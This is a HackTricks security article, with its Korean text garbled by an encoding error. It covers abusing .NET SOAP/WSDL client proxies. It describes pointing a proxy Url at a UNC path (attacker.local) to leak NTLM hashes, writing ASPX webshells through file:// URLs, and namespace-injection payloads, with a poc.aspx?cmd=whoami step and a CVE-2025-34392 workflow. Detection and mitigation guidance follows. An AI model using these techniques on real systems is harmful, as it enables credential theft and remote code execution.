.NET SOAP/WSDL Client Proxy ์ ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์์ฝ
SoapHttpClientProtocol,DiscoveryClientProtocol๋ฑ์HttpWebClientProtocol๋ฅผ ์์ํ๋ฉฐ, ๊ทธGetWebRequest()๋WebRequest.Create()๊ฐ ์์ฑํ ์คํด ๋น์ข ์์ ์ธWebRequest์ธ์คํด์ค๋ฅผ ๋ฐํํ๊ณHttpWebRequest๋ฅผ ๊ฐ์ ํ์ง ์์ต๋๋ค.- ๊ณต๊ฒฉ์๊ฐ ํ๋ก์
Url์ ์ ์ดํ๋ฉด ํ๋ ์์ํฌ๋ ์กฐ์ฉํFileWebRequest,FtpWebRequest๋๋ UNC/SMB ํธ๋ค๋ฌ๋ก ๊ต์ฒดํ์ฌ โHTTPโ ํ๋ก์๋ฅผ NTLM leak ์ฅ์น๋ ์์ ํ์ผ ์์ฑ๊ธฐ๋ก ๋ฐ๊ฟ ์ ์์ต๋๋ค. ServiceDescriptionImporter๋ก ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ WSDL์ ๊ฐ์ ธ์ค๋ ๋ชจ๋ ๊ธฐ๋ฅ์ ๋ฌธ์ ๋ฅผ ์ ํ์ํต๋๋ค: WSDL์ ์์ฑ๋ ํ๋ก์ ์์ฑ์, SOAP ๋ฉ์๋, ๋ณตํฉ ํ์ ๋ฐ ๋ค์์คํ์ด์ค๋ฅผ ์ ์ดํ์ฌ Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell, SSIS ๊ฐ์ ์ ํ์์ ์ธ์ฆ ์ RCE(์น์ ธ, ์คํฌ๋ฆฝํธ ๋๋กญ)๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์์ธ: HttpWebClientProtocol๋ ์คํด ๋น์ข ์์ ์
WebClientProtocol.GetWebRequest()๋ var req = WebRequest.Create(uri)๋ฅผ ์ํํ๊ณ ๊ทธ๊ฒ์ ๊ทธ๋๋ก ๋ฐํํฉ๋๋ค. HttpWebClientProtocol.GetWebRequest()๋ HTTP ์ ์ฉ ํ๋๋ฅผ ์ค์ ํ๊ธฐ ์ํด req as HttpWebRequest๋ฅผ ์๋ํ์ง๋ง, ์บ์คํธ๊ฐ ์คํจํด๋ ์๋ณธ req๋ฅผ ๊ทธ๋๋ก ๋ฐํํฉ๋๋ค. ๋ฐ๋ผ์ ๋ฐํ์์ Url์ ์กด์ฌํ๋ ์คํด์ ๊ทธ๋๋ก ๋ฐ๋ฆ
๋๋ค:
http(s)://โHttpWebRequestfile:///๋๋\\host\share\โFileWebRequestftp://โFtpWebRequest
๊ทธ ํ SoapHttpClientProtocol.Invoke()๋ ์ ํ๋ ์ ์ก ํธ๋ค๋ฌ๋ฅผ ํตํด SOAP POST ๋ณธ๋ฌธ์ ์คํธ๋ฆฌ๋ฐํ๋ฉฐ, ์ด๋ ๋์คํฌ์ ์ฐ๊ฑฐ๋ SMB๋ฅผ ํตํด ์ ์กํ๋ ๊ฒ์ ์๋ฏธํ ์ ์์ต๋๋ค.
๊ธฐ๋ฒ 1 โ UNC ๋์ ํตํ NTLM ์บก์ฒ/๋ฆด๋ ์ด
SoapHttpClientProtocol.Url์ ์ ์ดํฉ๋๋ค (์ง์ ์ธํฐ, ์ค์ ๊ฐ, DB ํ ๋ฑ).- ์ด๋ฅผ
file://attacker.local/sink/payload๊ฐ์ UNC ๊ฒฝ๋ก๋ก ์ง์ ํฉ๋๋ค. - CLR์ SMB๋ก ํด๋น ๊ฒฝ๋ก๋ฅผ ์ด๊ณ ํตํฉ ์ธ์ฆ์ ์ํํ์ฌ NTLM challenge/response๋ฅผ ๊ณต๊ฒฉ์์๊ฒ leakํฉ๋๋ค.
- ์บก์ฒํ ํด์๋ฅผ ์คํ๋ผ์ธ ํฌ๋ํนํ๊ฑฐ๋ ์๋ช /EPA๊ฐ ์๋ค๋ฉด NTLM ๋ฆด๋ ์ด(SMB/HTTP)์ ์ฌ์ฉํฉ๋๋ค.
์ด๊ฒ์ ์ถ๊ฐ์ ์ต์คํ๋ก์์ด ๋ถ๊ฐ๋ฅํ๋๋ผ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ์์ฉํ๋ ๋ชจ๋ .NET SOAP/HTTP ํ๋ก์ ๊ฒฝ๋ก์ ์ ์ฉ๋ฉ๋๋ค.
๊ธฐ๋ฒ 2 โ file://๋ฅผ ํตํ ์์ ํ์ผ ์ฐ๊ธฐ
- ํ๋ก์ ํธ์ถ ์ ์
Url = "file:///inetpub/wwwroot/poc.aspx"(๋๋ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก)๋ก ์ค์ ํฉ๋๋ค. - ์๋ฌด SOAP ๋ฉ์๋๋ฅผ ํธ์ถํฉ๋๋ค; ํ๋ ์์ํฌ๋ ์ ์ฒด SOAP ์ธ๋ฒ๋กญ์ ์ ํํ ๊ฒฝ๋ก์ ์์ฑํ์ฌ ๊ธฐ์กด ํ์ผ์ ๋ฎ์ด์๋๋ค.
- ์ฌ์ฉ์ ์ ์ด ์ธ์๋ XML ์์ ๋ด๋ถ์ ๋ํ๋๋ฏ๋ก ๊ณต๊ฒฉ์๋ CSHTML/ASPX ํ์ด๋ก๋๋ฅผ ๋๋กญํ๊ฑฐ๋ ์ค์ ํ์ผ์ ์ค์ผ์ํฌ ์ ์์ต๋๋ค.
์ ํ์ฌํญ:
- ์ปจํ
์ธ ๋ ํญ์ XML์ด๋ฉฐ ์ค์นผ๋ผ ํ๋๋ ์ํฐํฐ ์ธ์ฝ๋ฉ๋ฉ๋๋ค. ๋จ์ ๋ฌธ์์ด๋ก
<script>๋ฅผ ์ฃผ์ ํ๋ ค๋ฉด ์ถ๊ฐ ๊ธฐ๋ฒ์ด ํ์ํฉ๋๋ค. - ์๋ฏธ์๋ ํ์ด๋ก๋๋ ์ต์ํ ํ๋์ ๊ณต๊ฒฉ์ ์ํฅ ์ธ์๋ ๋ฉ์๋ ์๊ทธ๋์ฒ๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ ๋ฅ๋ ฅ์ด ํ์ํฉ๋๋ค (WSDL ์ ์ฉ ์ฐธ์กฐ).
๋ฐํ์์ ์ฐ๊ธฐ ํ ์ข
์ข
Client found response content type of 'application/octet-stream', but expected 'text/xml' ์์ธ๋ฅผ ๋์ง๋๋ค โ ์ด ์ค๋ฅ๋ฅผ IOC๋ก ์ทจ๊ธํ์ธ์.
WSDL ์ํฌํธ ๋ฌด๊ธฐํ
ServiceDescriptionImporter๋ฅผ ํตํ ์๋ ์์ฑ ํ๋ก์
๋ง์ ์ ํ์ด WSDL URL์ ํ์ฉํ๋ โ์ปค์คํ ์น ์๋น์คโ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ, ๊ทธ ๊ณผ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ WSDL์
ServiceDescription.Read()๋ก ์ฝ์ต๋๋ค. ServiceDescriptionImporter๊ฐSoapHttpClientProtocol๋ฅผ ํ์ฅํ๋ C# ํ๋ก์ ํด๋์ค๋ฅผ ์์ฑํฉ๋๋ค.- CodeDOM์ด ํ๋ก์๋ฅผ ์ปดํ์ผํ๊ณ ๋ฆฌํ๋ ์ ์ผ๋ก ์์ฒญ๋ ๋ฉ์๋๋ฅผ ํธ์ถํฉ๋๋ค.
๊ณต๊ฒฉ์๋ ๋ค์์ ์์ ํ ์ ์ดํฉ๋๋ค:
soap:address/soap12:addresslocationโbase.Url์ด ๋์ดfile://๋๋ UNC ๊ฒฝ๋ก๋ก ์ค์ ํ ์ ์์ต๋๋ค.- ๋ฉ์๋ ์ด๋ฆ, ํ๋ผ๋ฏธํฐ ๋ชฉ๋ก, ๋ณตํฉ ํ์ ๋ฐ ์ง๋ ฌํ๊ธฐ.
- ๋ชจ๋ SOAP ๋ฉ์์ง์ ๋ค์ด๊ฐ๋
xmlns:*์์ฑ์ด ๋๋ ๋ค์์คํ์ด์ค URI.
์คํด ๊ฒ์ฆ์ด ์ํ๋์ง ์์ผ๋ฏ๋ก ์์ฑ๋ ๋ชจ๋ ํ๋ก์๋ ์๋ ์ค๊ณ ๊ฒฐํจ์ ๋ฌผ๋ ค๋ฐ์ต๋๋ค.
RCE๋ฅผ ์ํ SOAP ์ธ๋ฒ๋กญ ์กฐํ
- Complex type serialization: WSDL์ ์ปค์คํ
๊ตฌ์กฐ์ฒด๋ฅผ ์ ์ํ์ฌ
XmlSerializer๊ฐ ์ด๋ฅผ ์ฌ์ง๋ ฌํํ ๋ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ์์ ์ด๋ฆ/์์ฑ์ ์์ฑํ๊ฒ ํฉ๋๋ค. ASPX ์น์ ธ ๋๋กญ์ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ด ์ง๋ ฌํ๋๋๋ก ํ์ ์ ์ค๊ณํ๊ณ :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
Url์ file:///.../webroot/shell.aspx๋ก ์ง์ ํ๋ฉด RCE๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
- Namespace injection: ์ธ์๊ฐ ํ๋์ฝ๋ฉ๋์ด ์์ด๋(์: Umbraco Forms) WSDL์ ์ ์ธ๋ ๋ค์์คํ์ด์ค(์:
xmlns:tns="http://host/service?x=@{...}")๋ SOAP ์ธ๋ฒ๋กญ์ ๊ทธ๋๋ก ๋ณต์ฌ๋ฉ๋๋ค. ๋ค์์คํ์ด์ค ์ฟผ๋ฆฌ ๋ฌธ์์ด ์์ ํ์ด๋ก๋๋ฅผ ์ธ์ฝ๋ฉํ๋ฉด ํ๋ผ๋ฏธํฐ ์ ์ด ์์ด๋ CSHTML Razor๋ PowerShell ์คํฌ๋ฆฝํธ๋ฅผ ๋๋กญํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ๋ค์ Barracuda Service Center RMM(CVE-2025-34392) ์ต์คํ๋ก์์ ํต์ฌ์ด์์ต๋๋ค: ์ธ์ฆ ์์ด SOAP ํธ์ถ์ด ์
์ฑ WSDL์ ๊ณต๊ธํ๊ณ , soap12:address๋ฅผ file:///Program Files/.../SCMessaging/poc.aspx๋ก ์ค์ ํ์ผ๋ฉฐ, ๋ณตํฉ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด <script runat="server">๋ฅผ ์ฃผ์
ํ์ฌ ์น์
ธ์ ์
๋ก๋ํ๊ณ ์์์ cmd.exe ๋ช
๋ น์ ์คํํ์ต๋๋ค.
์ ํ์ ์ธ ๊ณต๊ฒฉ ์ํฌํ๋ก์ฐ
- WSDL URL์ ํ์ฉํ๊ฑฐ๋ SOAP ์๋ํฌ์ธํธ ๊ตฌ์ฑ์ ์ฌ์ฉ์์๊ฒ ํ์ฉํ๋ ๊ธฐ๋ฅ(์: Barracuda
InvokeRemoteMethod, Ivanti EPM ์ปค๋ฅํฐ, Umbraco 8 Forms ๋ฐ์ดํฐ์์ค, PowerShellNew-WebServiceProxy)์ ์๋ณํฉ๋๋ค. soap:address๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก๋ UNC ๊ณต์ ๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์คํค๋ง ์ ์๊ฐ ํ์ด๋ก๋ ์นํ์ ์ธ ๋ฉ์๋/ํ์ ์ ์ ๊ณตํ๋ ์ ์ฑ WSDL์ ํธ์คํธํฉ๋๋ค.- ์ํฌํธ/์ปดํ์ผ์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ๋์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์์ฑ์์ ๋ฉ์๋๋ฅผ ๊ฐ์ง ํ๋ก์ DLL์ ๋ฐฉ์ถํฉ๋๋ค.
- ์ ํ๋ฆฌ์ผ์ด์ ์ด ์์ฑ๋ ๋ฉ์๋๋ฅผ ํธ์ถํ๋ฉด SOAP ์์ฒญ์ด ์ง๋ ฌํ๋์ด ๊ณต๊ฒฉ์๊ฐ ์ง์ ํ ๊ฒฝ๋ก์ ๊ธฐ๋ก๋๊ณ ํ์ด๋ก๋๊ฐ ์ฝ์ ๋ฉ๋๋ค.
- ๋๋กญ๋ ํ์ผ์ ์คํ(์:
poc.aspx?cmd=whoami๋ก ๋ธ๋ผ์ฐ์ง, CSHTML ๋ก๋, ๋๋ PowerShell์ด ์คํฌ๋ฆฝํธ๋ฅผ ์คํ)ํ๊ฑฐ๋ ์บก์ฒํ NTLM ์๋ฃ๋ฅผ ์ฌ์ฌ์ฉํฉ๋๋ค.
ํ์ง ๋ฐ ํํ
- Static analysis:
ServiceDescriptionImporter,SoapHttpClientProtocol,HttpWebClientProtocol, ๋๋New-WebServiceProxy๋ฅผ grepํ์ธ์.Url๋๋ WSDL ์ ๋ ฅ์ด ์ด๋์ ์ ๋ํ๋์ง ์ถ์ โ์ฌ์ฉ์ ์ ์ด ๊ฐ๋ฅํ๋ฉด ์ํ ์ ํธ์ ๋๋ค. - Runtime telemetry:
- ํ๋ก์ ์์ฑ ์ ์คํด์ ๋ก๊น
ํ๋๋ก ๊ณ์ธกํ๊ณ
file,ftp, ๋๋ UNC ๊ฐ์ ๋ํด ๊ฒฝ๊ณ ํ์ธ์. - SOAP ํธ์ถ ํ ํน์ง์ ์ธ โClient found response content type of โapplication/octet-streamโโ ์ค๋ฅ๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์.
- ์ ํ๋ฆฌ์ผ์ด์
๋๋ ํฐ๋ฆฌ ์๋์์ ์น ์๋น์ค ์์ด๋ดํฐํฐ์ ์ํด ์ํ๋ ์์์น ๋ชปํ
.aspx/.cshtml/.ps1์ฐ๊ธฐ ๋์์ ๊ฐ์ํ์ธ์. - Network/file ์ ํธ: ์น ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ ์ธํ๋ผ๋ก ํฅํ๋ SMB ์ฐ๊ฒฐ์ ์์ํ๊ฑฐ๋ ์์ ํ๋ก์ DLL์ ๊ฐ์์ค๋ฌ์ด ์ปดํ์ผ์ ์ข ์ข ์ต์คํ๋ก์์ ์์ ๋ฐ์ํฉ๋๋ค.
์ํ์ฑ
HttpWebClientProtocol๊ณ์ด ํ๋ก์๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ์ ์ก ๊ฒ์ฆ์ ๊ฐ์ ํ์ธ์:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- ๊ฐ์ ธ์จ WSDL ๊ฒ์ฆ/์ ์ : ํ๋ก์ ๋ค์ด๋ก๋๋ฅผ ์ค๊ฐํ์ฌ HTTP/S๊ฐ ์๋
soap:addressํญ๋ชฉ์ ์ฌ์์ฑํ๊ฑฐ๋ ๊ฑฐ๋ถํ๊ณ , ์ ์ ์๋ ๋ฐ์ธ๋ฉ์ ์ ๊ฑฐํ๋ฉฐ ๋ค์์คํ์ด์ค ํ์ด๋ก๋ ๊ธฐ๋ฒ์ ๊ธ์งํ์ธ์. - ์ ๋ขฐํ ์ ์๋ WSDL ๊ธฐ๋ฅ ๋นํ์ฑํ: โWSDL ์ ๋ก๋โ ํธ์ ๊ธฐ๋ฅ์ ๊ฒ์ฆ๋ ์๋ฒ ์ฌ์ด๋ ํ ํ๋ฆฟ์ด๋ ํ์ฉ๋ชฉ๋ก์ผ๋ก ๋์ฒดํ์ธ์.
- ์ฐ๊ธฐ ์์น ๋ถ๋ฆฌ: ์ ํ๋ฆฌ์ผ์ด์ ํ ๊ณ์ ์ด ์คํ ํ์ผ ๋๋ ํฐ๋ฆฌ์ ์ฐ์ง ๋ชปํ๋๋ก ํ๊ณ , ๋ฐ์ดํฐ์ ์ฝ๋์ ๋ํด ๋ณ๋ ๋ณผ๋ฅจ์ ์ฌ์ฉํ์ฌ ํ์ผ ์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ RCE๋ก ์ด์ด์ง์ง ์๊ฒ ํ์ธ์.
- NTLM ๋ ธ์ถ ๊ฒฝ๊ฐ: ๊ฐ๋ฅํ ๊ฒฝ์ฐ ์์๋ฐ์ด๋ SMB๋ฅผ ๋นํ์ฑํํ๊ณ , ๊ทธ๋ ์ง ์๋ค๋ฉด SMB ์๋ช , EPA ๋ฐ ๊ธฐํ ๋ฆด๋ ์ด ์ํ์ฑ ์ ์ ์ฉํ์ธ์.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


